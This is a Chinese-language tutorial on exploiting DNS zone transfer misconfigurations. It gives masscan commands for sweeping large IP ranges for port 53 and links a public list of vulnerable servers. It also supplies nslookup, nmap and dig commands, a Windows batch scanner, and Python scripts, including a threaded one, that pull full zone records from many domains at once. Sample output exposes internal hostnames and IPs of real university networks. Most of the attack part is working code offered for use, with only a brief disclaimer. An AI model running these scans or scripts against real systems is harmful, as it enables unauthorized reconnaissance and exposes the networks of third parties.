一、DNS域傳送
DNS :Domain Name System
一個儲存IP地址和域名相互對映關係的分散式資料庫,重要的網際網路基礎設施,預設使用的TCP/UDP埠號是53
常見DNS記錄型別:
1 A IP地址記錄,記錄一個域名對應的IP地址 2 AAAA IPv6 地址記錄,記錄一個域名對應的IPv6地址 3 CNAME 別名記錄,記錄一個主機的別名 4 MX 電子郵件交換記錄,記錄一個郵件域名對應的IP地址,如root@xxxx.com 5 NS 域名伺服器記錄 ,記錄該域名由哪臺域名伺服器解析 6 PTR 反向記錄,也即從IP地址到域名的一條記錄 7 TXT 記錄域名的相關文字資訊
域傳送 :DNS Zone Transfer
是指後備伺服器從主伺服器拷貝資料,並用得到的資料更新自身資料庫,在主備伺服器之間同步資料庫,需要使用“DNS域傳送”
DNS伺服器分為:主伺服器、備份伺服器和快取伺服器
二、漏洞收集
2.1 利用網路搜尋引擎收集域名伺服器
shodan:https://www.shodan.io
zoomeye:https://www.zoomeye.org
fofa:https://fofa.so
2.2 利用masscan收集dns伺服器
masscan:https://github.com/robertdavidgraham/masscan
Debian/Ubuntu安裝:
1 sudo apt-get install git gcc make libpcap-dev 2 git clone https://github.com/robertdavidgraham/masscan 3 cd masscan 4 make
掃描網段:
1 ./bin/masscan -p:53 -oX ns.xml --rate 160000 101.0.0.0-110.0.0.0
獲得開放53埠的潛在漏洞DNS伺服器物件
ns.xml結果去重:
1 from lxml import etree 2 port = None 3 address = None 4 parsedServers = [] 5 #Opens the file used to store single enteries. 6 outputFile = open('ns.txt', 'a') 7 for event, element in etree.iterparse('ns.xml', tag="host"): 8 for child in element: 9 if child.tag == 'address': 10 address = child.attrib['addr'] 11 if child.tag == 'ports': 12 for a in child: 13 port = a.attrib['portid'] 14 if port > 1 and address > 1: 15 if address not in parsedServers: 16 print(address) 17 outputFile.write(address + '\n') 18 parsedServers.append(address) 19 port = None 20 address = None 21 element.clear() 22 outputFile.close() 23 print('End…………………………')
2.3 目標針對
針對某個目標域名,查詢目標所處域dns伺服器是否有域傳送漏洞,從而獲得橫向滲透的機會和更多的可能性。見下文:
1 nslookup結合dig的科學利用
2.4 後人乘涼
我們稍微無恥一下,用一下別人收集好的dns伺服器與域名:https://github.com/lijiejie/edu-dns-zone-transfer/blob/master/vulnerable_hosts.txt
ps: 收集dns伺服器,推測出網段與解析的域,從而檢測DNS是否存在域傳送漏洞
三、漏洞檢測與利用
3.1 原理
1 DNS伺服器配置不當,導致匿名使用者利用DNS域傳送協議獲取某個域的所有記錄; 2 通過可以實現DNS域傳送協議的程式,嘗試匿名進行DNS域傳送,獲取記錄
3.2 危害
1 網路拓撲結構洩露給潛在的攻擊者,包括一些安全性較低的內部主機,如測試伺服器等。直接加快、助長攻擊者的入侵過程
3.3 檢測與利用
3.3.1 nslookup
基本過程:
1 輸入nslookup命令進入互動式shell; 2 server 命令引數設定查詢將要使用的DNS伺服器; 3 ls命令列出某個域中的所有域名; 4 exit命令退出
失敗案例
現在域傳送漏洞不太好找
1 > nslookup 2 DNS request timed out. 3 timeout was 2 seconds. 4 預設伺服器: UnKnown 5 Address: 114.114.114.114 6 7 > server ss2.bjfu.edu.cn 8 預設伺服器: ss2.bjfu.edu.cn 9 Address: 202.204.112.67 10 11 > ls bjfu.edu.cn 12 [ss2.bjfu.edu.cn] 13 *** 無法列出域 bjfu.edu.cn: Query refused 14 DNS 伺服器拒絕將區域 bjfu.edu.cn 傳送到你的計算機。如果這不正確, 15 請檢查 IP 地址 202.204.112.67 的 DNS 伺服器上 bjfu.edu.cn 的 16 區域傳送安全設定。
成功案例
1 > nslookup 2 預設伺服器: public1.114dns.com 3 Address: 114.114.114.114 4 5 > server ring.cugb.edu.cn 6 預設伺服器: ring.cugb.edu.cn 7 Address: 202.204.105.1 8 9 > ls cugb.edu.cn 10 [ring.cugb.edu.cn] 11 cugb.edu.cn. NS server = ring.cugb.edu.cn 12 cugb.edu.cn. A 127.0.0.1 13 acm A 121.194.86.2 14 bbs A 202.204.105.172 15 bm A 202.204.105.179 16 bsbm A 202.204.105.17 17 bslt A 202.204.109.241 18 cas A 202.204.105.97 19 ce A 202.204.99.249 20 chushi A 202.204.105.243 21 cj A 202.204.96.111 22 cms A 202.204.105.179 23 computer A 202.204.96.202 24 csc A 202.204.97.60 25 cugblx A 202.204.105.173 26 . 27 . 28 . 29 . 30 yx A 202.204.105.179 31 zhsh A 202.204.105.198 32 zzb A 202.204.105.243 33 >
非互動式方法 :
為了避免和nslookup交換,可以編寫一個ls.bat
1 echo ls %1 | nslookup – %2
%1代表第一個引數,即xxx.edu.cn
%2代表第二個引數,即dns.xxx.edu.cn
echo是回聲命令,原文輸出傳入的引數內容
測試dns.xxx.edu.cn伺服器,可以執行命令:
1 ls.bat xxx.edu.cn dns.xxx.edu.cn
3.3.2 nmap
1 nmap --script dns-zone-transfer --script-args dns-zone-transfer.domain=xxx.edu.cn -p 53 -Pn dns.xxx.edu.cn
dns-zone-transfer.domain指定要查詢的域
dns.xxx.edu.cn為指定的查詢域名伺服器
成功的話會如下所示,列出了指定域中所有的記錄(如果埠遮蔽,就查不出了,不太實用):
1 > nmap --script dns-zone-transfer --script-args dns-zone-transfer.domain=hzmc.edu.cn -p 53 -Pn dns.hzmc.edu.cn 2 3 Starting Nmap 7.10 ( https://nmap.org ) at **** 4 Nmap scan report for dns.hzmc.edu.cn (211.86.0.1) 5 Host is up (0.38s latency). 6 PORT STATE SERVICE 7 53/tcp open domain 8 | dns-zone-transfer: 9 | hzmc.edu.cn. SOA ns.hzmc.edu.cn. root.ns.hzmc.edu.cn. 10 | hzmc.edu.cn. NS ns.hzmc.edu.cn. 11 | hzmc.edu.cn. NS dns.hzmc.edu.cn. 12 | hzmc.edu.cn. A 211.86.0.1 13 | hzmc.edu.cn. MX 10 ns.hzmc.edu.cn. 14 | dns.hzmc.edu.cn. A 211.86.0.1 15 | ftp.hzmc.edu.cn. CNAME dns.hzmc.edu.cn. 16 | www.jwc.hzmc.edu.cn. A 211.86.3.182 17 | www.lib.hzmc.edu.cn. A 211.86.3.38 18 | www.spdb.hzmc.edu.cn. A 211.86.0.3 19 | www.hzmc.edu.cn. A 211.86.0.4 20 | www.yzzp.hzmc.edu.cn. A 211.86.0.8 21 | www.zwc.hzmc.edu.cn. A 211.86.2.200 22 |_hzmc.edu.cn. SOA ns.hzmc.edu.cn. root.ns.hzmc.edu.cn. 23 24 Nmap done: 1 IP address (1 host up) scanned in 20.43 seconds
3.3.3 dig
Windows免安裝版dig下載地址:http://download.csdn.net/detail/c465869935/9700646
使用命令:
1 dig @dns.xxx.edu.cn axfr xxx.edu.cn
@指定域名伺服器;axfr 為域傳送指令;xxx.edu.cn表示要查詢的域名
成功測試:
1 > dig @ring.cugb.edu.cn axfr cugb.edu.cn 2 3 ; <<>> DiG 9.11.0-P1 <<>> @ring.cugb.edu.cn axfr cugb.edu.cn 4 ; (1 server found) 5 ;; global options: +cmd 6 cugb.edu.cn. 86400 IN SOA ring.cugb.edu.cn. root.cugb.edu.cn. 20130504 86400 3600 604800 10800 7 cugb.edu.cn. 86400 IN TXT "v=spf1 ip4:202.204.105.6/24 ~all" 8 cugb.edu.cn. 86400 IN NS ring.cugb.edu.cn. 9 cugb.edu.cn. 86400 IN MX 5 mail.cugb.edu.cn. 10 cugb.edu.cn. 86400 IN A 127.0.0.1 11 cugb.edu.cn. 86400 IN AAAA ::1 12 acm.cugb.edu.cn. 86400 IN A 121.194.86.2 13 bbs.cugb.edu.cn. 86400 IN A 202.204.105.172 14 bm.cugb.edu.cn. 86400 IN A 202.204.105.179 15 . 16 . 17 . 18 . 19 zhsh.cugb.edu.cn. 86400 IN A 202.204.105.198 20 zzb.cugb.edu.cn. 86400 IN A 202.204.105.243 21 cugb.edu.cn. 86400 IN SOA ring.cugb.edu.cn. root.cugb.edu.cn. 20130504 86400 3600 604800 10800 22 ;; Query time: 46 msec 23 ;; SERVER: 202.204.105.1#53(202.204.105.1) 24 ;; WHEN: **** 25 ;; XFR size: 114 records (messages 1, bytes 2562)
dig的批處理利用 For Windows
建立檔案: .LandGrey-Dns-Zone-Transfer-Scan.bat
下載連結:http://download.csdn.net/detail/c465869935/9700869
寫入以下內容:
1 @echo off 2 Rem Build By LandGrey 3 title Dns Zone Transfer Scan 4 echo +++++++++++++++++++++++++++++ LandGrey Dns Zone Transfer Scan bat +++++++++++++++++++++++++++++ 5 for /f "tokens=1,2 delims= " %%i in (%cd%/dns-zone-transfer/hostlist.txt) do echo Scanning %%j & %cd%\dig.exe @%%i axfr %%j>> %cd%/dns-zone-transfer/ScanResults.txt
解釋:
整個批處理主要是for迴圈一行一行的讀取當前目錄下的“/dns-zone-transfer/hostlist.txt”檔案,進行工作; %cd% 代表bat檔案當前目錄;delims=指定分隔符;表示讀取的一行文字以空格來分隔;當然,也可以自己修改分隔符;tokens=1,2 表示取以分隔符分隔的第一個和第二個元素;do後面是具體做的事: 一邊提示正在掃描的域名,一邊掃描域傳送漏洞;在批處理中,%%i用來代指第一個元素,根據字母順序(i,j,k…),%%j指代第二個元素,以此類推; dig.exe @%%i axfr %%j 即dig @dns.xxx.edu.cn axfr xxx.edu.cn的替換模版; 這就要求hostlist.txt檔案中的書寫格式應該為:“[dns-server] [domain]”,類似於如下的形式:
1 dns.xxx.edu.cn xxx.edu.cn
%cd%\dig.exe表示 .LandGrey-Dns-Zone-Transfer-Scan.bat檔案要與dig.exe放在同一個目錄下; 最後查詢結果全部儲存在當前目錄下的:“/dns-zone-transfer/ScanResults.txt”檔案中;
nslookup結合dig的科學利用
如果獲得了目標域名,並不清楚目標的主dns伺服器時,可以通過用如下的nslookup語句,先查詢目標域名的主dns伺服器,然後再用dig進行DNS域傳送檢測,最後用python指令碼實現:
1 > nslookup -type=ns landgrey.cn 2 伺服器: public1.114dns.com 3 Address: 114.114.114.114 4 5 非權威應答: 6 landgrey.cn nameserver = dns9.hichina.com 7 landgrey.cn nameserver = dns10.hichina.com
單個查詢(實用)
下載地址:https://github.com/LandGrey/dns-zone-transfer-tester/blob/master/dztester.py
1 #!/usr/bin/env python 2 # coding:utf-8 3 # 4 # Build by LandGrey 2016-12-03 5 # 6 7 import re 8 import os 9 import sys 10 11 12 def dns_zone_tranfer_finder(domain): 13 print('[+] Nslookup %s' % domain) 14 cmd_res = os.popen('nslookup -type=ns ' + domain).read() # fetch DNS Server List 15 dns_servers = re.findall('nameserver = ([\w\.]+)', cmd_res) 16 if len(dns_servers) == 0: 17 print('[+] No DNS Server Found!\n') 18 exit(0) 19 for singledns in dns_servers: 20 print('[+] Using @%s' % singledns) 21 cmd_res = os.popen('dig @%s axfr %s' % (singledns, domain)).read() 22 # print cmd_res 23 if cmd_res.find('XFR size') > 0: 24 print('[+] Vulnerable dns server found:'), singledns 25 print(cmd_res) 26 else: 27 print('[+] No Vulnerable found') 28 29 30 def usage(): 31 print('[+] Usage: python DZT-tester.py [domain]\n') 32 33 34 if __name__ == "__main__": 35 if len(sys.argv) != 2: 36 usage() 37 elif '-h' in sys.argv[1]: 38 usage() 39 else: 40 domain = sys.argv[1] 41 print('[+] Test %s' % domain) 42 dns_zone_tranfer_finder(domain) 43 print('[+] Finished!')
使用方式:
1 python dztester.py [domain]
批量查詢
指令碼同一目錄下應有‘dns-zone-transfer’目錄;'dns-zone-transfer’目錄下有‘dns’子目錄; 要檢測的域名列表存放在‘dns-zone-transfer\domain.txt’中,一行一個;結果存在'dns-zone-transfer\dns'目錄和'dns-zone-transfer\vulnerable_hosts.txt'檔案中
1 # coding:utf-8 2 3 import re 4 import os 5 import sys 6 import threading 7 8 9 def dns_zone_tranfer_finder(): 10 global c_index 11 while True: 12 lock.acquire() 13 if c_index >= len(DomainLists): 14 lock.release() 15 break 16 domain = DomainLists[c_index].lstrip('www.') 17 c_index += 1 18 lock.release() 19 cmd_res = os.popen('nslookup -type=ns ' + domain).read() # fetch DNS Server List 20 dns_servers = re.findall('nameserver = ([\w\.]+)', cmd_res) 21 for server in dns_servers: 22 if len(server) < 5: 23 server += domain 24 cmd_res = os.popen('dig @%s axfr %s +short' % (server, domain)).read() 25 if cmd_res.find('XFR size') > 0 \ 26 and cmd_res.find('Transfer failed.') < 0 \ 27 and cmd_res.find('connection timed out') < 0: 28 lock.acquire() 29 print('*' * 10 + ' Vulnerable dns server found:', server, '*' * 10) 30 lock.release() 31 with open(os.path.join(currentdir, 'dns-zone-transfer', 'vulnerable_hosts.txt'), 'a') as f: 32 f.write('%s %s\n' % (server.ljust(30), domain)) 33 with open(os.path.join(currentdir, 'dns-zone-transfer', 'dns', server + '.txt'), 'w') as f: 34 f.write(cmd_res) 35 36 37 if __name__ == "__main__": 38 currentdir = os.path.dirname(sys.argv[0]) 39 target = open(os.path.join(currentdir, 'dns-zone-transfer', 'domain.txt')) 40 DomainLists = [] 41 for host in target.readlines(): 42 DomainLists.append(host) 43 print(u'採集 %d 個...' % len(DomainLists)) 44 threads = [] 45 c_index = 0 46 lock = threading.Lock() 47 for i in range(10): 48 t = threading.Thread(target=dns_zone_tranfer_finder) 49 t.start() 50 threads.append(t) 51 for t in threads: 52 t.join() 53 print('All Done!')
漏洞存在標識主要是dig命令結果中出現特徵字串“XFR size”
執行起來類似下面這樣:
1 ********** Vulnerable dns server found: nknu.nknu.edu.tw ********** 2 ********** Vulnerable dns server found: ns2.ntnu.edu.tw ********** 3 ********** Vulnerable dns server found: ns2.must.edu.mo ********** 4 All Done!
四、免責宣告
本文僅做技術研究,切勿用本文方法違法犯罪!
更多獨家精彩內容 請掃碼關注個人公眾號,一起Coding吧!
—— —— —— —— — END —— —— —— —— ————
歡迎掃碼關注我的公眾號
小鴻星空科技